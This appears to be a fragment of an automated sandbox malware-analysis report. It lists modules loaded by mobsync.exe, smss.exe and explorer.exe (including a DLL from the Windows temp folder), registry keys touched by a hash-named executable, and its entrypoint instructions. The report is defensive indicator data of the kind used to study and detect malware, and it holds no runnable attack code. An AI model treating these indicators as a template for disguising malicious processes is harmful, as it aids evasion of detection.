"mobsync.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 62810000 "mobsync.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DRAWING\F7568D7F1B9D356F64779B4C0927CFB3\SYSTEM.DRAWING.NI.DLL" at base 69280000 "mobsync.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.WINDOWS.FORMS\C9A4CBC00F690A9E3CDDFC400F6E85BB\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 619a0000 "mobsync.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6bfe0000 "mobsync.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 61180000 "mobsync.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.V9921E851#\A891970B44DB9E340C3EF3EFA95B793C\MICROSOFT.VISUALBASIC.NI.DLL" at base 60f90000 "mobsync.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 694d0000 "mobsync.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 60810000 "mobsync.exe" loaded module "NTDLL.DLL" at base 76e40000 "mobsync.exe" loaded module "SHELL32.DLL" at base 75d20000 "mobsync.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75a40000 "mobsync.exe" loaded module "PROFAPI.DLL" at base 74d50000 "mobsync.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "mobsync.exe" loaded module "BCRYPT.DLL" at base 74860000 "mobsync.exe" loaded module "CRYPTSP.DLL" at base 74750000 "mobsync.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 744e0000 "mobsync.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "mobsync.exe" loaded module "SSPICLI.DLL" at base 74bd0000 "mobsync.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "mobsync.exe" loaded module "AMSI.DLL" at base 0 "mobsync.exe" loaded module "ADVAPI32" at base 75900000 "mobsync.exe" loaded module "OLEAUT32.DLL" at base 76fd0000 "mobsync.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75a40000 "mobsync.exe" loaded module "RPCRTREMOTE.DLL" at base 74ce0000 "mobsync.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "mobsync.exe" loaded module "RASAPI32.DLL" at base 6b5e0000 "mobsync.exe" loaded module "RTUTILS.DLL" at base 72f60000 "mobsync.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL" at base 75a40000 "mobsync.exe" loaded module "API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL" at base 75a40000 "mobsync.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "mobsync.exe" loaded module "WS2_32.DLL" at base 76f90000 "mobsync.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74710000 "mobsync.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74270000 "mobsync.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74700000 "mobsync.exe" loaded module "RASMAN.DLL" at base 716d0000 "mobsync.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "mobsync.exe" loaded module "WINHTTP.DLL" at base 70420000 "mobsync.exe" loaded module "CREDSSP.DLL" at base 74410000 "mobsync.exe" loaded module "IPHLPAPI.DLL" at base 72d90000 "mobsync.exe" loaded module "DHCPCSVC6.DLL" at base 72c40000 "mobsync.exe" loaded module "DHCPCSVC.DLL" at base 72c20000 "mobsync.exe" loaded module "NSI.DLL" at base 75bc0000 "mobsync.exe" loaded module "CFGMGR32.DLL" at base 74ee0000 "mobsync.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL" at base 75a40000 "mobsync.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "mobsync.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "mobsync.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "mobsync.exe" loaded module "SECUR32.DLL" at base 74a70000 "mobsync.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 74550000 "mobsync.exe" loaded module "NCRYPT.DLL" at base 74880000 "mobsync.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 74420000 "mobsync.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "mobsync.exe" loaded module "CRYPT32.DLL" at base 74d80000 "mobsync.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CRYPT32.DLL" at base 0 "mobsync.exe" loaded module "USERENV.DLL" at base 75060000 "mobsync.exe" loaded module "GPAPI.DLL" at base 74320000 "smss.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 707b0000 "smss.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "smss.exe" loaded module "KERNEL32" at base 753c0000 "smss.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "smss.exe" loaded module "ADVAPI32.DLL" at base 75900000 "smss.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6b370000 "smss.exe" loaded module "SHLWAPI.DLL" at base 759b0000 "smss.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "smss.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "smss.exe" loaded module "VERSION.DLL" at base 741e0000 "smss.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 64020000 "smss.exe" loaded module "USER32.DLL" at base 75790000 "smss.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 0 "smss.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "smss.exe" loaded module "MSCOREE.DLL" at base 6b400000 "smss.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 0 "smss.exe" loaded module "RPCRT4.DLL" at base 76980000 "smss.exe" loaded module "KERNEL32.DLL" at base 753c0000 "smss.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 61e60000 "smss.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "smss.exe" loaded module "OLE32.DLL" at base 75a60000 "smss.exe" loaded module "CRYPTBASE.DLL" at base 74c40000 "smss.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73a30000 "smss.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 6c060000 "smss.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 69550000 "smss.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 635c0000 "smss.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DRAWING\F7568D7F1B9D356F64779B4C0927CFB3\SYSTEM.DRAWING.NI.DLL" at base 64dd0000 "smss.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.WINDOWS.FORMS\C9A4CBC00F690A9E3CDDFC400F6E85BB\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 60ff0000 "smss.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6bfd0000 "smss.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 607d0000 "smss.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.V9921E851#\A891970B44DB9E340C3EF3EFA95B793C\MICROSOFT.VISUALBASIC.NI.DLL" at base 64be0000 "smss.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 69320000 "smss.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 60050000 "smss.exe" loaded module "NTDLL.DLL" at base 76e40000 "smss.exe" loaded module "SHELL32.DLL" at base 75d20000 "smss.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75a40000 "smss.exe" loaded module "PROFAPI.DLL" at base 74d50000 "smss.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "smss.exe" loaded module "BCRYPT.DLL" at base 74860000 "smss.exe" loaded module "CRYPTSP.DLL" at base 74750000 "smss.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 744e0000 "smss.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "smss.exe" loaded module "PSAPI.DLL" at base 76970000 "smss.exe" loaded module "SSPICLI.DLL" at base 74bd0000 "smss.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "smss.exe" loaded module "AMSI.DLL" at base 0 "smss.exe" loaded module "ADVAPI32" at base 75900000 "smss.exe" loaded module "OLEAUT32.DLL" at base 76fd0000 "smss.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75a40000 "smss.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "smss.exe" loaded module "RPCRTREMOTE.DLL" at base 74ce0000 "smss.exe" loaded module "RASAPI32.DLL" at base 6b5e0000 "smss.exe" loaded module "RTUTILS.DLL" at base 72f60000 "smss.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL" at base 75a40000 "smss.exe" loaded module "API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL" at base 75a40000 "smss.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "smss.exe" loaded module "WS2_32.DLL" at base 76f90000 "smss.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74710000 "smss.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74270000 "smss.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74700000 "smss.exe" loaded module "RASMAN.DLL" at base 716d0000 "smss.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "smss.exe" loaded module "WINHTTP.DLL" at base 70420000 "smss.exe" loaded module "CREDSSP.DLL" at base 74410000 "smss.exe" loaded module "IPHLPAPI.DLL" at base 72d90000 "smss.exe" loaded module "DHCPCSVC6.DLL" at base 72c40000 "smss.exe" loaded module "DHCPCSVC.DLL" at base 72c20000 "smss.exe" loaded module "NSI.DLL" at base 75bc0000 "smss.exe" loaded module "CFGMGR32.DLL" at base 74ee0000 "smss.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL" at base 75a40000 "smss.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "smss.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "smss.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "smss.exe" loaded module "SECUR32.DLL" at base 74a70000 "smss.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 74550000 "smss.exe" loaded module "NCRYPT.DLL" at base 74880000 "smss.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 74420000 "smss.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "smss.exe" loaded module "CRYPT32.DLL" at base 74d80000 "smss.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CRYPT32.DLL" at base 0 "smss.exe" loaded module "USERENV.DLL" at base 75060000 "smss.exe" loaded module "GPAPI.DLL" at base 74320000 "explorer.exe" loaded module "GDI32.DLL" at base 76a30000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 77070000 "explorer.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 707b0000 "explorer.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "explorer.exe" loaded module "KERNEL32" at base 753c0000 "explorer.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "explorer.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6b400000 "explorer.exe" loaded module "ADVAPI32.DLL" at base 75900000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6af80000 "explorer.exe" loaded module "SHLWAPI.DLL" at base 759b0000 "explorer.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "explorer.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "explorer.exe" loaded module "VERSION.DLL" at base 741e0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 68c80000 "explorer.exe" loaded module "USER32.DLL" at base 75790000 "explorer.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 0 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "explorer.exe" loaded module "MSCOREE.DLL" at base 6bc50000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 0 "explorer.exe" loaded module "RPCRT4.DLL" at base 76980000 "explorer.exe" loaded module "KERNEL32.DLL" at base 753c0000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 63b70000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "explorer.exe" loaded module "OLE32.DLL" at base 75a60000 "explorer.exe" loaded module "CRYPTBASE.DLL" at base 74c40000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73a30000 "explorer.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 720d0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 6b370000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 68220000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DRAWING\F7568D7F1B9D356F64779B4C0927CFB3\SYSTEM.DRAWING.NI.DLL" at base 69be0000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.WINDOWS.FORMS\C9A4CBC00F690A9E3CDDFC400F6E85BB\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 62400000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6cdc0000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 63350000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.V9921E851#\A891970B44DB9E340C3EF3EFA95B793C\MICROSOFT.VISUALBASIC.NI.DLL" at base 62210000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 695a0000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 61a90000 "explorer.exe" loaded module "NTDLL.DLL" at base 76e40000 "explorer.exe" loaded module "SHELL32.DLL" at base 75d20000 "explorer.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75a40000 "explorer.exe" loaded module "PROFAPI.DLL" at base 74d50000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "explorer.exe" loaded module "BCRYPT.DLL" at base 74860000 "explorer.exe" loaded module "CRYPTSP.DLL" at base 74750000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 744e0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "explorer.exe" loaded module "PSAPI.DLL" at base 76970000 "explorer.exe" loaded module "SSPICLI.DLL" at base 74bd0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "explorer.exe" loaded module "AMSI.DLL" at base 0 "explorer.exe" loaded module "ADVAPI32" at base 75900000 "explorer.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75a40000 "explorer.exe" loaded module "OLEAUT32.DLL" at base 76fd0000 "explorer.exe" loaded module "RPCRTREMOTE.DLL" at base 74ce0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "explorer.exe" loaded module "RASAPI32.DLL" at base 6b5e0000 "explorer.exe" loaded module "RTUTILS.DLL" at base 72f60000 "explorer.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL" at base 75a40000 "explorer.exe" loaded module "API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL" at base 75a40000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "explorer.exe" loaded module "WS2_32.DLL" at base 76f90000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74710000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74270000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74700000 "explorer.exe" loaded module "RASMAN.DLL" at base 716d0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "explorer.exe" loaded module "WINHTTP.DLL" at base 70420000 "explorer.exe" loaded module "CREDSSP.DLL" at base 74410000 "explorer.exe" loaded module "IPHLPAPI.DLL" at base 72d90000 "explorer.exe" loaded module "DHCPCSVC6.DLL" at base 72c40000 "explorer.exe" loaded module "DHCPCSVC.DLL" at base 72c20000 "explorer.exe" loaded module "NSI.DLL" at base 75bc0000 "explorer.exe" loaded module "CFGMGR32.DLL" at base 74ee0000 "explorer.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL" at base 75a40000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "explorer.exe" loaded module "SECUR32.DLL" at base 74a70000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 74550000 "explorer.exe" loaded module "NCRYPT.DLL" at base 74880000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 74420000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "explorer.exe" loaded module "CRYPT32.DLL" at base 74d80000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CRYPT32.DLL" at base 0 "explorer.exe" loaded module "USERENV.DLL" at base 75060000 "explorer.exe" loaded module "GPAPI.DLL" at base 74320000 "mobsync.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 684d0000 "mobsync.exe" loaded module "MSCOREE.DLL" at base 6ba20000 "mobsync.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 61e60000 "mobsync.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 6de80000 "mobsync.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 64520000 "mobsync.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DRAWING\F7568D7F1B9D356F64779B4C0927CFB3\SYSTEM.DRAWING.NI.DLL" at base 69b50000 "mobsync.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.WINDOWS.FORMS\C9A4CBC00F690A9E3CDDFC400F6E85BB\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 636b0000 "mobsync.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 61640000 "mobsync.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.V9921E851#\A891970B44DB9E340C3EF3EFA95B793C\MICROSOFT.VISUALBASIC.NI.DLL" at base 69240000 "mobsync.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 69130000 "mobsync.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 60ec000037:T533,"8B744166EECACE320158F4D0F704B13E.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LOCALSERVER32") "8B744166EECACE320158F4D0F704B13E.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "8B744166EECACE320158F4D0F704B13E.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") "8B744166EECACE320158F4D0F704B13E.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "8B744166EECACE320158F4D0F704B13E.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "8B744166EECACE320158F4D0F704B13E.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "8B744166EECACE320158F4D0F704B13E.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "8B744166EECACE320158F4D0F704B13E.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "8B744166EECACE320158F4D0F704B13E.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS")38:T4a1,"8B744166EECACE320158F4D0F704B13E.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,"39:T1036,Observed system executable string:"%WINDIR%\system32\IMM32.DLL" [Source: 00000000-00003772-00000C60-1091989305] Observed system executable 